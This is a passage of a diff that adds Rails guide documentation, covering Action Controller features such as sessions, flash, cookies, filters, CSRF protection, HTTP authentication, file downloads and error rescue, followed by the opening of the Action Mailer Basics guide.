+# YourApp::Application.config.session_store :active_record_store
+```
+
+Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in `config/initializers/session_store.rb`:
+
+```ruby
+# Be sure to restart your server when you modify this file.
+YourApp::Application.config.session_store :cookie_store, key: '_your_app_session'
+```
+
+You can also pass a `:domain` key and specify the domain name for the cookie:
+
+```ruby
+# Be sure to restart your server when you modify this file.
+YourApp::Application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"
+```
+
+Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/initializers/secret_token.rb`
+
+```ruby
+# Be sure to restart your server when you modify this file.
+
+# Your secret key for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+YourApp::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...'
+```
+
+NOTE: Changing the secret when using the `CookieStore` will invalidate all existing sessions.
+
+### Accessing the Session
+
+In your controller you can access the session through the `session` instance method.
+
+NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.
+
+Session values are stored using key/value pairs like a hash:
+
+```ruby
+class ApplicationController < ActionController::Base
+
+ private
+
+ # Finds the User with the ID stored in the session with the key
+ # :current_user_id This is a common way to handle user login in
+ # a Rails application; logging in sets the session value and
+ # logging out removes it.
+ def current_user
+ @_current_user ||= session[:current_user_id] &&
+ User.find_by_id(session[:current_user_id])
+ end
+end
+```
+
+To store something in the session, just assign it to the key like a hash:
+
+```ruby
+class LoginsController < ApplicationController
+ # "Create" a login, aka "log the user in"
+ def create
+ if user = User.authenticate(params[:username], params[:password])
+ # Save the user ID in the session so it can be used in
+ # subsequent requests
+ session[:current_user_id] = user.id
+ redirect_to root_url
+ end
+ end
+end
+```
+
+To remove something from the session, assign that key to be `nil`:
+
+```ruby
+class LoginsController < ApplicationController
+ # "Delete" a login, aka "log the user out"
+ def destroy
+ # Remove the user id from the session
+ @_current_user = session[:current_user_id] = nil
+ redirect_to root_url
+ end
+end
+```
+
+To reset the entire session, use `reset_session`.
+
+### The Flash
+
+The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for passing error messages etc.
+
+It is accessed in much the same way as the session, as a hash (it's a [FlashHash](http://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html) instance).
+
+Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
+
+```ruby
+class LoginsController < ApplicationController
+ def destroy
+ session[:current_user_id] = nil
+ flash[:notice] = "You have successfully logged out."
+ redirect_to root_url
+ end
+end
+```
+
+Note that it is also possible to assign a flash message as part of the redirection. You can assign `:notice`, `:alert` or the general purpose `:flash`:
+
+```ruby
+redirect_to root_url, notice: "You have successfully logged out."
+redirect_to root_url, alert: "You're stuck here!"
+redirect_to root_url, flash: { referral_code: 1234 }
+```
+
+The `destroy` action redirects to the application's `root_url`, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display any error alerts or notices from the flash in the application's layout:
+
+```erb
+<html>
+ <!-- <head/> -->
+ <body>
+ <% flash.each do |name, msg| -%>
+ <%= content_tag :div, msg, class: name %>
+ <% end -%>
+
+ <!-- more content -->
+ </body>
+</html>
+```
+
+This way, if an action sets a notice or an alert message, the layout will display it automatically.
+
+You can pass anything that the session can store; you're not limited to notices and alerts:
+
+```erb
+<% if flash[:just_signed_up] %>
+ <p class="welcome">Welcome to our site!</p>
+<% end %>
+```
+
+If you want a flash value to be carried over to another request, use the `keep` method:
+
+```ruby
+class MainController < ApplicationController
+ # Let's say this action corresponds to root_url, but you want
+ # all requests here to be redirected to UsersController#index.
+ # If an action sets the flash and redirects here, the values
+ # would normally be lost when another redirect happens, but you
+ # can use 'keep' to make it persist for another request.
+ def index
+ # Will persist all flash values.
+ flash.keep
+
+ # You can also use a key to keep only some kind of value.
+ # flash.keep(:notice)
+ redirect_to users_url
+ end
+end
+```
+
+#### `flash.now`
+
+By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the `create` action fails to save a resource and you render the `new` template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use `flash.now` in the same way you use the normal `flash`:
+
+```ruby
+class ClientsController < ApplicationController
+ def create
+ @client = Client.new(params[:client])
+ if @client.save
+ # ...
+ else
+ flash.now[:error] = "Could not save client"
+ render action: "new"
+ end
+ end
+end
+```
+
+Cookies
+-------
+
+Your application can store small amounts of data on the client — called cookies — that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which — much like the `session` — works like a hash:
+
+```ruby
+class CommentsController < ApplicationController
+ def new
+ # Auto-fill the commenter's name if it has been stored in a cookie
+ @comment = Comment.new(author: cookies[:commenter_name])
+ end
+
+ def create
+ @comment = Comment.new(params[:comment])
+ if @comment.save
+ flash[:notice] = "Thanks for your comment!"
+ if params[:remember_name]
+ # Remember the commenter's name.
+ cookies[:commenter_name] = @comment.author
+ else
+ # Delete cookie for the commenter's name cookie, if any.
+ cookies.delete(:commenter_name)
+ end
+ redirect_to @comment.article
+ else
+ render action: "new"
+ end
+ end
+end
+```
+
+Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`.
+
+Rendering xml and json data
+---------------------------
+
+ActionController makes it extremely easy to render `xml` or `json` data. If you've generated a controller using scaffolding, it would look something like this:
+
+```ruby
+class UsersController < ApplicationController
+ def index
+ @users = User.all
+ respond_to do |format|
+ format.html # index.html.erb
+ format.xml { render xml: @users}
+ format.json { render json: @users}
+ end
+ end
+end
+```
+
+You may notice in the above code that we're using `render xml: @users`, not `render xml: @users.to_xml`. If the object is not a String, then Rails will automatically invoke `to_xml` for us.
+
+Filters
+-------
+
+Filters are methods that are run before, after or "around" a controller action.
+
+Filters are inherited, so if you set a filter on `ApplicationController`, it will be run on every controller in your application.
+
+"Before" filters may halt the request cycle. A common "before" filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
+
+```ruby
+class ApplicationController < ActionController::Base
+ before_action :require_login
+
+ private
+
+ def require_login
+ unless logged_in?
+ flash[:error] = "You must be logged in to access this section"
+ redirect_to new_login_url # halts request cycle
+ end
+ end
+end
+```
+
+The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a "before" filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter, they are also cancelled.
+
+In this example the filter is added to `ApplicationController` and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with `skip_before_action`:
+
+```ruby
+class LoginsController < ApplicationController
+ skip_before_action :require_login, only: [:new, :create]
+end
+```
+
+Now, the `LoginsController`'s `new` and `create` actions will work as before without requiring the user to be logged in. The `:only` option is used to only skip this filter for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
+
+### After Filters and Around Filters
+
+In addition to "before" filters, you can also run filters after an action has been executed, or both before and after.
+
+"After" filters are similar to "before" filters, but because the action has already been run they have access to the response data that's about to be sent to the client. Obviously, "after" filters cannot stop the action from running.
+
+"Around" filters are responsible for running their associated actions by yielding, similar to how Rack middlewares work.
+
+For example, in a website where changes have an approval workflow an administrator could be able to preview them easily, just apply them within a transaction:
+
+```ruby
+class ChangesController < ApplicationController
+ around_action :wrap_in_transaction, only: :show
+
+ private
+
+ def wrap_in_transaction
+ ActiveRecord::Base.transaction do
+ begin
+ yield
+ ensure
+ raise ActiveRecord::Rollback
+ end
+ end
+ end
+end
+```
+
+Note that an "around" filter also wraps rendering. In particular, if in the example above, the view itself reads from the database (e.g. via a scope), it will do so within the transaction and thus present the data to preview.
+
+You can choose not to yield and build the response yourself, in which case the action will not be run.
+
+### Other Ways to Use Filters
+
+While the most common way to use filters is by creating private methods and using *_action to add them, there are two other ways to do the same thing.
+
+The first is to use a block directly with the *_action methods. The block receives the controller as an argument, and the `require_login` filter from above could be rewritten to use a block:
+
+```ruby
+class ApplicationController < ActionController::Base
+ before_action do |controller|
+ redirect_to new_login_url unless controller.send(:logged_in?)
+ end
+end
+```
+
+Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
+
+The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
+
+```ruby
+class ApplicationController < ActionController::Base
+ before_action LoginFilter
+end
+
+class LoginFilter
+ def self.filter(controller)
+ unless controller.send(:logged_in?)
+ controller.flash[:error] = "You must be logged in"
+ controller.redirect_to controller.new_login_url
+ end
+ end
+end
+```
+
+Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method `filter` which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same `filter` method, which will get run in the same way. The method must `yield` to execute the action. Alternatively, it can have both a `before` and an `a [...]
+
+Request Forgery Protection
+--------------------------
+
+Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission.
+
+The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests.
+
+The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
+
+If you generate a form like this:
+
+```erb
+<%= form_for @user do |f| %>
+ <%= f.text_field :username %>
+ <%= f.text_field :password %>
+<% end %>
+```
+
+You will see how the token gets added as a hidden field:
+
+```html
+<form accept-charset="UTF-8" action="/users/1" method="post">
+<input type="hidden"
+ value="67250ab105eb5ad10851c00a5621854a23af5489"
+ name="authenticity_token"/>
+<!-- fields -->
+</form>
+```
+
+Rails adds this token to every form that's generated using the [form helpers](form_helpers.html), so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method `form_authenticity_token`:
+
+The `form_authenticity_token` generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.
+
+The [Security Guide](security.html) has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
+
+The Request and Response Objects
+--------------------------------
+
+In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The `request` method contains an instance of `AbstractRequest` and the `response` method returns a response object representing what is going to be sent back to the client.
+
+### The `request` Object
+
+The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the [API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Request.html). Among the properties that you can access on this object are:
+
+| Property of `request` | Purpose |
+| ----------------------------------------- | -------------------------------------------------------------------------------- |
+| host | The hostname used for this request. |
+| domain(n=2) | The hostname's first `n` segments, starting from the right (the TLD). |
+| format | The content type requested by the client. |
+| method | The HTTP method used for the request. |
+| get?, post?, patch?, put?, delete?, head? | Returns true if the HTTP method is GET/POST/PATCH/PUT/DELETE/HEAD. |
+| headers | Returns a hash containing the headers associated with the request. |
+| port | The port number (integer) used for the request. |
+| protocol | Returns a string containing the protocol used plus "://", for example "http://". |
+| query_string | The query string part of the URL, i.e., everything after "?". |
+| remote_ip | The IP address of the client. |
+| url | The entire URL used for the request. |
+
+#### `path_parameters`, `query_parameters`, and `request_parameters`
+
+Rails collects all of the parameters sent along with the request in the `params` hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The `query_parameters` hash contains parameters that were sent as part of the query string while the `request_parameters` hash contains parameters sent as part of the post body. The `path_parameters` hash contains paramete [...]
+
+### The `response` Object
+
+The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.
+
+| Property of `response` | Purpose |
+| ---------------------- | --------------------------------------------------------------------------------------------------- |
+| body | This is the string of data being sent back to the client. This is most often HTML. |
+| status | The HTTP status code for the response, like 200 for a successful request or 404 for file not found. |
+| location | The URL the client is being redirected to, if any. |
+| content_type | The content type of the response. |
+| charset | The character set being used for the response. Default is "utf-8". |
+| headers | Headers used for the response. |
+
+#### Setting Custom Headers
+
+If you want to set custom headers for a response then `response.headers` is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to `response.headers` this way:
+
+```ruby
+response.headers["Content-Type"] = "application/pdf"
+```
+
+Note: in the above case it would make more sense to use the `content_type` setter directly.
+
+HTTP Authentications
+--------------------
+
+Rails comes with two built-in HTTP authentication mechanisms:
+
+* Basic Authentication
+* Digest Authentication
+
+### HTTP Basic Authentication
+
+HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `http_basic_authenticate_with`.
+
+```ruby
+class AdminsController < ApplicationController
+ http_basic_authenticate_with name: "humbaba", password: "5baa61e4"
+end
+```
+
+With this in place, you can create namespaced controllers that inherit from `AdminController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
+
+### HTTP Digest Authentication
+
+HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, `authenticate_or_request_with_http_digest`.
+
+```ruby
+class AdminsController < ApplicationController
+ USERS = { "lifo" => "world" }
+
+ before_action :authenticate
+
+ private
+
+ def authenticate
+ authenticate_or_request_with_http_digest do |username|
+ USERS[username]
+ end
+ end
+end
+```
+
+As seen in the example above, the `authenticate_or_request_with_http_digest` block takes only one argument - the username. And the block returns the password. Returning `false` or `nil` from the `authenticate_or_request_with_http_digest` will cause authentication failure.
+
+Streaming and File Downloads
+----------------------------
+
+Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the `send_data` and the `send_file` methods, which will both stream data to the client. `send_file` is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.
+
+To stream data to the client, use `send_data`:
+
+```ruby
+require "prawn"
+class ClientsController < ApplicationController
+ # Generates a PDF document with information on the client and
+ # returns it. The user will get the PDF as a file download.
+ def download_pdf
+ client = Client.find(params[:id])
+ send_data generate_pdf(client),
+ filename: "#{client.name}.pdf",
+ type: "application/pdf"
+ end
+
+ private
+
+ def generate_pdf(client)
+ Prawn::Document.new do
+ text client.name, align: :center
+ text "Address: #{client.address}"
+ text "Email: #{client.email}"
+ end.render
+ end
+end
+```
+
+The `download_pdf` action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the `:dispos [...]
+
+### Sending Files
+
+If you want to send a file that already exists on disk, use the `send_file` method.
+
+```ruby
+class ClientsController < ApplicationController
+ # Stream a file that has already been generated and stored on disk.
+ def download_pdf
+ client = Client.find(params[:id])
+ send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
+ filename: "#{client.name}.pdf",
+ type: "application/pdf")
+ end
+end
+```
+
+This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the `:stream` option or adjust the block size with the `:buffer_size` option.
+
+If `:type` is not specified, it will be guessed from the file extension specified in `:filename`. If the content type is not registered for the extension, `application/octet-stream` will be used.
+
+WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to.
+
+TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.
+
+### RESTful Downloads
+
+While `send_data` works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the `show` action, without any streaming:
+
+```ruby
+class ClientsController < ApplicationController
+ # The user can request to receive this resource as HTML or PDF.
+ def show
+ @client = Client.find(params[:id])
+
+ respond_to do |format|
+ format.html
+ format.pdf { render pdf: generate_pdf(@client) }
+ end
+ end
+end
+```
+
+In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file `config/initializers/mime_types.rb`:
+
+```ruby
+Mime::Type.register "application/pdf", :pdf
+```
+
+NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
+
+Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
+
+```bash
+GET /clients/1.pdf
+```
+
+Log Filtering
+-------------
+
+Rails keeps a log file for each environment in the `log` folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file.
+
+### Parameters Filtering
+
+You can filter certain request parameters from your log files by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log.
+
+```ruby
+config.filter_parameters << :password
+```
+
+### Redirects Filtering
+
+Sometimes it's desirable to filter out from log files some sensible locations your application is redirecting to.
+You can do that by using the `config.filter_redirect` configuration option:
+
+```ruby
+config.filter_redirect << 's3.amazonaws.com'
+```
+
+You can set it to a String, a Regexp, or an array of both.
+
+```ruby
+config.filter_redirect.concat ['s3.amazonaws.com', /private_path/]
+```
+
+Matching URLs will be marked as '[FILTERED]'.
+
+Rescue
+------
+
+Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the `ActiveRecord::RecordNotFound` exception.
+
+Rails' default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and h [...]
+
+### The Default 500 and 404 Templates
+
+By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the `public` folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
+
+### `rescue_from`
+
+If you want to do something a bit more elaborate when catching errors, you can use `rescue_from`, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.
+
+When an exception occurs which is caught by a `rescue_from` directive, the exception object is passed to the handler. The handler can be a method or a `Proc` object passed to the `:with` option. You can also use a block directly instead of an explicit `Proc` object.
+
+Here's how you can use `rescue_from` to intercept all `ActiveRecord::RecordNotFound` errors and do something with them.
+
+```ruby
+class ApplicationController < ActionController::Base
+ rescue_from ActiveRecord::RecordNotFound, with: :record_not_found
+
+ private
+
+ def record_not_found
+ render text: "404 Not Found", status: 404
+ end
+end
+```
+
+Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
+
+```ruby
+class ApplicationController < ActionController::Base
+ rescue_from User::NotAuthorized, with: :user_not_authorized
+
+ private
+
+ def user_not_authorized
+ flash[:error] = "You don't have access to this section."
+ redirect_to :back
+ end
+end
+
+class ClientsController < ApplicationController
+ # Check that the user has the right authorization to access clients.
+ before_action :check_authorization
+
+ # Note how the actions don't have to worry about all the auth stuff.
+ def edit
+ @client = Client.find(params[:id])
+ end
+
+ private
+
+ # If the user is not authorized, just throw the exception.
+ def check_authorization
+ raise User::NotAuthorized unless current_user.admin?
+ end
+end
+```
+
+NOTE: Certain exceptions are only rescuable from the `ApplicationController` class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's [article](http://m.onkey.org/2008/7/20/rescue-from-dispatching) on the subject for more information.
+
+Force HTTPS protocol
+--------------------
+
+Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. You can use the `force_ssl` method in your controller to enforce that:
+
+```ruby
+class DinnerController
+ force_ssl
+end
+```
+
+Just like the filter, you could also pass `:only` and `:except` to enforce the secure connection only to specific actions:
+
+```ruby
+class DinnerController
+ force_ssl only: :cheeseburger
+ # or
+ force_ssl except: :cheeseburger
+end
+```
+
+Please note that if you find yourself adding `force_ssl` to many controllers, you may want to force the whole application to use HTTPS instead. In that case, you can set the `config.force_ssl` in your environment file.

+Action Mailer Basics
+====================
+
+This guide should provide you with all you need to get started in sending and
+receiving emails from and to your application, and many internals of Action
+Mailer. It also covers how to test your mailers.
+
+After reading this guide, you will know:
+
+* How to send and receive email within a Rails application.
+* How to generate and edit an Action Mailer class and mailer view.
+* How to configure Action Mailer for your environment.
+* How to test your Action Mailer classes.
+
+--------------------------------------------------------------------------------
+
+Introduction
+------------
+
+Action Mailer allows you to send emails from your application using mailer classes and views. Mailers work very similarly to controllers. They inherit from `ActionMailer::Base` and live in `app/mailers`, and they have associated views that appear in `app/views`.
+
+Sending Emails
+--------------
+
+This section will provide a step-by-step guide to creating a mailer and its
+views.
+
+### Walkthrough to Generating a Mailer
+
+#### Create the Mailer
+
+```bash
+$ rails generate mailer UserMailer
+create app/mailers/user_mailer.rb
+invoke erb
+create app/views/user_mailer
+invoke test_unit
+create test/mailers/user_mailer_test.rb
+```
+
+As you can see, you can generate mailers just like you use other generators with
+Rails. Mailers are conceptually similar to controllers, and so we get a mailer,
+a directory for views, and a test.
+
+If you didn't want to use a generator, you could create your own file inside of
+app/mailers, just make sure that it inherits from `ActionMailer::Base`:
+
+```ruby
+class MyMailer < ActionMailer::Base
+end
+```
+
+#### Edit the Mailer
+
+Mailers are very similar to Rails controllers. They also have methods called
+"actions" and use views to structure the content. Where a controller generates
+content like HTML to send back to the client, a Mailer creates a message to be
+delivered via email.
+
+`app/mailers/user_mailer.rb` contains an empty mailer:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ default from: 'from at example.com'
+end
+```
+
+Let's add a method called `welcome_email`, that will send an email to the user's
+registered email address:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ default from: 'notifications at example.com'
+
+ def welcome_email(user)
+ @user = user
+ @url = 'http://example.com/login'
+ mail(to: @user.email, subject: 'Welcome to My Awesome Site')
+ end
+end
+```
+
+Here is a quick explanation of the items presented in the preceding method. For
+a full list of all available options, please have a look further down at the
+Complete List of Action Mailer user-settable attributes section.
+
+* `default Hash` - This is a hash of default values for any email you send from this mailer. In this case we are setting the `:from` header to a value for all messages in this class. This can be overridden on a per-email basis.
+* `mail` - The actual email message, we are passing the `:to` and `:subject` headers in.
+
+Just like controllers, any instance variables we define in the method become
+available for use in the views.
+
+#### Create a Mailer View
+
+Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This
+will be the template used for the email, formatted in HTML:
+
+```html+erb
+<!DOCTYPE html>
+<html>
+ <head>
+ <meta content='text/html; charset=UTF-8' http-equiv='Content-Type' />
+ </head>
+ <body>
+ <h1>Welcome to example.com, <%= @user.name %></h1>
+ <p>
+ You have successfully signed up to example.com,
+ your username is: <%= @user.login %>.<br/>
+ </p>
+ <p>
+ To login to the site, just follow this link: <%= @url %>.
+ </p>
+ <p>Thanks for joining and have a great day!</p>
+ </body>
+</html>
+```
+
+Let's also make a text part for this email. Not all clients prefer HTML emails,
+and so sending both is best practice. To do this, create a file called
+`welcome_email.text.erb` in `app/views/user_mailer/`:
+
+```erb
+Welcome to example.com, <%= @user.name %>
+===============================================
+
+You have successfully signed up to example.com,
+your username is: <%= @user.login %>.
+
+To login to the site, just follow this link: <%= @url %>.
+
+Thanks for joining and have a great day!
+```
+
+When you call the `mail` method now, Action Mailer will detect the two templates
+(text and HTML) and automatically generate a `multipart/alternative` email.
+
+#### Calling the Mailer
+
+Mailers are really just another way to render a view. Instead of rendering a
+view and sending out the HTTP protocol, they are just sending it out through the
+Email protocols instead. Due to this, it makes sense to just have your
+controller tell the Mailer to send an email when a user is successfully created.
+
+Setting this up is painfully simple.
+
+First, let's create a simple `User` scaffold:
+
+```bash
+$ rails generate scaffold user name email login
+$ rake db:migrate
+```
+
+Now that we have a user model to play with, we will just edit the
+`app/controllers/users_controller.rb` make it instruct the UserMailer to deliver
+an email to the newly created user by editing the create action and inserting a
+call to `UserMailer.welcome_email` right after the user is successfully saved:
+
+```ruby
+class UsersController < ApplicationController
+ # POST /users
+ # POST /users.json
+ def create
+ @user = User.new(params[:user])
+
+ respond_to do |format|
+ if @user.save
+ # Tell the UserMailer to send a welcome Email after save
+ UserMailer.welcome_email(@user).deliver
+
+ format.html { redirect_to(@user, notice: 'User was successfully created.') }
+ format.json { render json: @user, status: :created, location: @user }
+ else
+ format.html { render action: 'new' }
+ format.json { render json: @user.errors, status: :unprocessable_entity }
+ end
+ end
+ end
+end
+```
+
+The method `welcome_email` returns a `Mail::Message` object which can then just
+be told `deliver` to send itself out.
+
+### Auto encoding header values
+
+Action Mailer handles the auto encoding of multibyte characters inside of
+headers and bodies.
+
+For more complex examples such as defining alternate character sets or
+self-encoding text first, please refer to the
+[Mail](https://github.com/mikel/mail) library.
+
+### Complete List of Action Mailer Methods
+
+There are just three methods that you need to send pretty much any email
+message:
+
+* `headers` - Specifies any header on the email you want. You can pass a hash of
+ header field names and value pairs, or you can call `headers[:field_name] =
+ 'value'`.
+* `attachments` - Allows you to add attachments to your email. For example,
+ `attachments['file-name.jpg'] = File.read('file-name.jpg')`.
+* `mail` - Sends the actual email itself. You can pass in headers as a hash to
+ the mail method as a parameter, mail will then create an email, either plain
+ text, or multipart, depending on what email templates you have defined.
+
+#### Adding Attachments
+
+Action Mailer makes it very easy to add attachments.
+
+* Pass the file name and content and Action Mailer and the
+ [Mail gem](https://github.com/mikel/mail) will automatically guess the
+ mime_type, set the encoding and create the attachment.
+
+ ```ruby
+ attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
+ ```
+
+NOTE: Mail will automatically Base64 encode an attachment. If you want something
+different, encode your content and pass in the encoded content and encoding in a
+`Hash` to the `attachments` method.
+
+* Pass the file name and specify headers and content and Action Mailer and Mail
+ will use the settings you pass in.
+
+ ```ruby
+ encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
+ attachments['filename.jpg'] = {mime_type: 'application/x-gzip',
+ encoding: 'SpecialEncoding',
+ content: encoded_content }
+ ```
+
+NOTE: If you specify an encoding, Mail will assume that your content is already
+encoded and not try to Base64 encode it.
+
+#### Making Inline Attachments
+
+Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be.
+
+* First, to tell Mail to turn an attachment into an inline attachment, you just call `#inline` on the attachments method within your Mailer:
+
+ ```ruby
+ def welcome
+ attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
+ end
+ ```
+
+* Then in your view, you can just reference `attachments` as a hash and specify
+ which attachment you want to show, calling `url` on it and then passing the
+ result into the `image_tag` method:
+
+ ```html+erb
+ <p>Hello there, this is our image</p>
+
+ <%= image_tag attachments['image.jpg'].url %>
+ ```
+
+* As this is a standard call to `image_tag` you can pass in an options hash
+ after the attachment URL as you could for any other image:
+
+ ```html+erb
+ <p>Hello there, this is our image</p>
+
+ <%= image_tag attachments['image.jpg'].url, alt: 'My Photo',
+ class: 'photos' %>
+ ```
+
+#### Sending Email To Multiple Recipients
+
+It is possible to send email to one or more recipients in one email (e.g.,
+informing all admins of a new signup) by setting the list of emails to the `:to`
+key. The list of emails can be an array of email addresses or a single string
+with the addresses separated by commas.
+
+```ruby
+class AdminMailer < ActionMailer::Base
+ default to: Proc.new { Admin.pluck(:email) },
+ from: 'notification at example.com'
+
+ def new_registration(user)
+ @user = user
+ mail(subject: "New User Signup: #{@user.email}")
+ end
+end
+```
+
+The same format can be used to set carbon copy (Cc:) and blind carbon copy
+(Bcc:) recipients, by using the `:cc` and `:bcc` keys respectively.
+
+#### Sending Email With Name
+
+Sometimes you wish to show the name of the person instead of just their email
+address when they receive the email. The trick to doing that is to format the
+email address in the format `"Full Name <email>"`.
+
+```ruby
+def welcome_email(user)
+ @user = user
+ email_with_name = "#{@user.name} <#{@user.email}>"
+ mail(to: email_with_name, subject: 'Welcome to My Awesome Site')
+end
+```
+
+### Mailer Views
+
+Mailer views are located in the `app/views/name_of_mailer_class` directory. The
+specific mailer view is known to the class because its name is the same as the
+mailer method. In our example from above, our mailer view for the
+`welcome_email` method will be in `app/views/user_mailer/welcome_email.html.erb`
+for the HTML version and `welcome_email.text.erb` for the plain text version.
+
+To change the default mailer view for your action you do something like:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ default from: 'notifications at example.com'
+
+ def welcome_email(user)
+ @user = user
+ @url = 'http://example.com/login'
+ mail(to: @user.email,
+ subject: 'Welcome to My Awesome Site',
+ template_path: 'notifications',
+ template_name: 'another')
+ end
+end
+```
+
+In this case it will look for templates at `app/views/notifications` with name
+`another`. You can also specify an array of paths for `template_path`, and they
+will be searched in order.
+
+If you want more flexibility you can also pass a block and render specific
+templates or even render inline or text without using a template file:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ default from: 'notifications at example.com'
+
+ def welcome_email(user)
+ @user = user
+ @url = 'http://example.com/login'
+ mail(to: @user.email,
+ subject: 'Welcome to My Awesome Site') do |format|
+ format.html { render 'another_template' }
+ format.text { render text: 'Render text' }
+ end
+ end
+end
+```
+
+This will render the template 'another_template.html.erb' for the HTML part and
+use the rendered text for the text part. The render command is the same one used
+inside of Action Controller, so you can use all the same options, such as
+`:text`, `:inline` etc.
+
+### Action Mailer Layouts
+
+Just like controller views, you can also have mailer layouts. The layout name
+needs to be the same as your mailer, such as `user_mailer.html.erb` and
